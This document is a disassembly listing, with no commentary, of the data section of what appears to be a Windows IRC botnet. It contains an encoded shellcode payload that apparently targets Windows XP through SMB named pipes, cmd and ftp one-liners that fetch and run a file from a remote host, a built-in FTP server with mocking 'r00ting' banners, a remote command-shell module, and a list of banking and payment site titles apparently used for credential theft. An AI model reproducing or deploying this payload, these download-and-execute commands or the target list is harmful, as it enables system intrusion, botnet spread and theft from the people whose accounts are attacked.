dword_4358D0	dd 0EFFFC481h, 44FFFFh,	43591Chdword_4358DC	dd 42Ah		dword_4358E0	dd 3E8h		dword_4358E4	dd 258h		byte_4358E8	db 0			; DATA XREF: sub_40EA40+1EFr
					; sub_40EA40+2CFr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_435900	dd 20804h						; sub_40EA40+2E8o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .XPack0:004358ECo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_435934:				; CODE XREF: .XPack0:004358B8j
		push	eax
		xor	al, 29h


loc_435937:				; DATA XREF: sub_40EA40+211o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_435940	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_435954	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40EA40+78o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40EA40+2Fo
		align 4
dword_435988	dd 200F1001h, 0Ah, 1001802h, 0		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40EFE5+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40F219+130o
					; sub_41A2D6+21o
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40F405+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F6A7+5CAo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F6A7+5A9o
		align 10h
dword_436CD0	dd 1F023103h, 3021F8Ch,	0B71F3531h, 3430031Fh, 1F024602h
					; DATA XREF: sub_40F6A7+558o
		dd 70021F54h, 35310302h, 31FB71Fh, 203A3431h, 31F8B1Fh
		dd 31F4F31h, 1FB73430h,	30031F1Fh, 31F7731h, 3B73430h
		dd 21F3430h, 31F024Eh, 3B73430h, 651F3130h, 30031F1Fh
		dd 1FB71F34h, 44313003h, 3431031Fh, 30031F9Bh, 73252034h
		dd 0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F6A7+546o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F6A7+4EBo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40F6A7+4D3o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F6A7+4C3o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F6A7+4B2o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F6A7+47Fo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F6A7+43Bo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40F6A7+402o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F6A7+3D4o
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: sub_40F6A7+3C1o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F6A7+386o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40F6A7+373o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F6A7+363o
aI_0:					; DATA XREF: sub_40F6A7+34Fo
					; .XPack0:0043AC78o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F6A7+328o
aA_0:					; DATA XREF: sub_40F6A7+314o
					; .XPack0:0043AC84o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40F6A7+2FDo
					; sub_40F6A7+338o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F6A7+2EDo
		align 4
off_436E94	dd offset dword_445750	; DATA XREF: sub_40F6A7+2D9o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F6A7+2C9o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40F6A7+2B5o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F6A7+2A5o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F6A7+291o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F6A7+281o
		align 4
aPass_0		db 'PASS',0             ; DATA XREF: sub_40F6A7+26Do
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F6A7+25Do
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40F6A7+248o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40F6A7+237o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F6A7+1B9o
		align 4
unk_436F2C	db    2			; DATA XREF: sub_40FDBE+3D3o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 2, 48h, 2
		db  74h	; t
		db 74h,	70h, 64h
		db    3
		db 30h,	34h, 2Ch
		db    3
		db 31h,	34h, 3Ah
		db    3
a4ServerFailedR	db '4 Server Failed, returned %d',0
		align 4
asc_436F68	db 0Dh,0Ah,0		; DATA XREF: sub_40FDBE+2BEo
					; sub_41AB47+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FDBE+258o
		align 8
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4101F4+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4101F4+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_4101F4+97o
					; sub_41B0A1+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4101F4+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_4101F4:loc_41025Fo
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_4101F4+64o
		align 10h
unk_437190	db    2			; DATA XREF: sub_410370+27Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 2, 48h, 2
		db  74h	; t
		db 74h,	70h, 64h
		db    3
		db 30h,	34h, 2Ch
		db    3
		db 31h,	34h, 3Ah
		db    3
a4FailedToSta_0	db '4 failed to start worker thread, error %d',0
		align 4
unk_4371D8	db    2			; DATA XREF: sub_410370+20Ao
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 34h,	2, 48h
		db    2
		db 2 dup(74h), 70h
		db  64h	; d
		db 3, 30h, 31h
		db  2Ch	; ,
		db 3, 31h, 34h
		db  3Ah	; :
		db 3, 20h, 57h
aOrkerThreadOfS	db 'orker Thread Of Server Thread: %d.',0
		align 4
asc_43721C:				; DATA XREF: sub_410370+156o
		unicode	0, <*>,0
aS_5		db '\%s',0              ; DATA XREF: sub_410370+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41061F+64Do
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41061F+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41061F+61Do
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41061F+58Eo
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41061F+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41061F:loc_410B42o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41061F+51Co
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41061F+476o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+439o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41061F+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41061F:loc_4109ECo
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41061F+3C6o
		align 10h
aSS_1		db '%s%s/',0            ; DATA XREF: sub_41061F+379o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41061F+335o
					; sub_41061F+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41061F+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_41061F+2DEo
					; sub_41061F+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41061F+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_41061F+293o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_41061F+284o
		align 4
a__		db '..',0               ; DATA XREF: sub_41061F+231o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41061F+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41061F+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41061F+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41061F+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41061F+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41061F+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410D8B+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
unk_4376D0	db    3			; DATA XREF: sub_410EAC+16Eo
		db 31h,	35h, 2Ch
		db  30h	; 0
		db 5Bh,	2, 3
		db  30h	; 0
		db 34h,	91h, 3
		db  30h	; 0
		db 31h,	2, 1Fh
		db  69h	; i
		db 1Fh,	2, 64h
		db    2
		db 65h,	2, 6Eh
		db    2
		db 74h,	2, 64h
		db    2
		db 3, 30h, 34h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  5Dh	; ]
		db 3, 34h, 20h
aServerFailedRe	db 'server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410EAC+113o
		align 10h
unk_437730	db    3			; DATA XREF: sub_410EAC+BBo
		db 31h,	35h, 2Ch
		db  30h	; 0
		db 5Bh,	2, 3
		db  30h	; 0
		db 34h,	91h, 3
		db  30h	; 0
		db 31h,	2, 1Fh
		db  69h	; i
		db 1Fh,	2, 64h
		db    2
		db 65h,	2, 6Eh
		db    2
		db 74h,	2, 64h
		db    2
		db 3, 30h, 34h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  5Dh	; ]
		db 3, 34h, 20h
aClientConnecti	db 'client connection from %s:%d.',0
		align 4
unk_437778	db  2Dh	; -		; DATA XREF: sub_411057+14Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_23	db 'Failed to start client thread, error: <%d>.',0
		align 8
unk_4377B8	db  2Dh	; -		; DATA XREF: sub_411057+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_437800	db  2Dh	; -		; DATA XREF: sub_4111E7+157o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_24	db 'Failed to start connection thread, error: <%d>.',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4111E7+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_41146C+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 10h
unk_4378B0	db  2Dh	; -		; DATA XREF: sub_41146C+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_4378DC	db  2Dh	; -		; DATA XREF: sub_41146C+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_41146C+172o
		align 4
unk_437918	db  2Dh	; -		; DATA XREF: sub_41146C+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_437944	db  2Dh	; -		; DATA XREF: sub_411671:loc_4116A3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
unk_437970	db  2Dh	; -		; DATA XREF: sub_4116B2+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_4379A8	db  2Dh	; -		; DATA XREF: sub_4116E1+218o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 10h
unk_4379E0	db  2Dh	; -		; DATA XREF: sub_4116E1+1E8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start client thread, error: <%d>.',0
		align 10h
unk_437A20	db  2Dh	; -		; DATA XREF: sub_4116E1+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_437A64	db  2Dh	; -		; DATA XREF: sub_4116E1+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 10h
unk_437AA0	db  2Dh	; -		; DATA XREF: sub_4116E1+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_437AE4	db  2Dh	; -		; DATA XREF: sub_4116E1+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_437B10	db  2Dh	; -		; DATA XREF: sub_411968+E2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 8
unk_437B48	db  2Dh	; -		; DATA XREF: sub_411968+59o
					; sub_411968+8Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
unk_437B90	db  2Dh	; -		; DATA XREF: sub_411ABD+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_437BB8	db  2Dh	; -		; DATA XREF: sub_411ABD+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_437BF8	db  2Dh	; -		; DATA XREF: sub_411ABD+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_437C38	db  2Dh	; -		; DATA XREF: sub_411BB6+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411BB6+8Co
		align 4
unk_437C78	db  2Dh	; -		; DATA XREF: sub_411C8F+8Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_437CB4	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_26	db '- Failed to start server on Port %d.',0
		align 4
dword_437CE8	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_27	db '- Failed to start client thread, error: <%d>.',0
		align 8
dword_437D28	dd 234032Dh, 6B636F73h,	3023473haClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
dword_437D70	dd 234032Dh, 6B636F73h,	3023473haErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_437DB4	dd 234032Dh, 6B636F73h,	3023473haErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_437DF4	dd 234032Dh, 6B636F73h,	3023473haAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_437E34	dd 4000500h, 7868746Bh,	0dword_437E40	dd 1F023403h, 3021F8Ch,	0B71F3531h, 3130031Fh, 1F024602h
					; DATA XREF: sub_412407+3A6o
		dd 70021F54h, 35310302h, 31FB71Fh, 203A3431h, 31F8B1Fh
		dd 1F034F34h, 30031FA4h, 1F037734h, 2031FA4h, 1F03024Eh
		dd 30031FA4h, 1F036534h, 30031FA4h, 31034434h, 1F9B1F34h
		dd 73252003h, 0
dword_437E98	dd 6F672D65h, 646Ch, 1Eh dup(0)aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
		dd 69676F4Ch, 202D206Eh, 50796150h, 6C61h, 1Ch dup(0)
aRapidshare1Cli	db 'RapidShare: 1-Click Webhosting',0
		align 4
		dd 18h dup(0)
aOnlinePaymentM	db 'Online Payment, Merchant Account - PayPal',0
		align 4
		dd 15h dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aRapidshare1C_0	db 'RapidShare: 1-Click Webhosting',0
		align 4
		dd 18h dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
aEbayNewUsedE_0	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
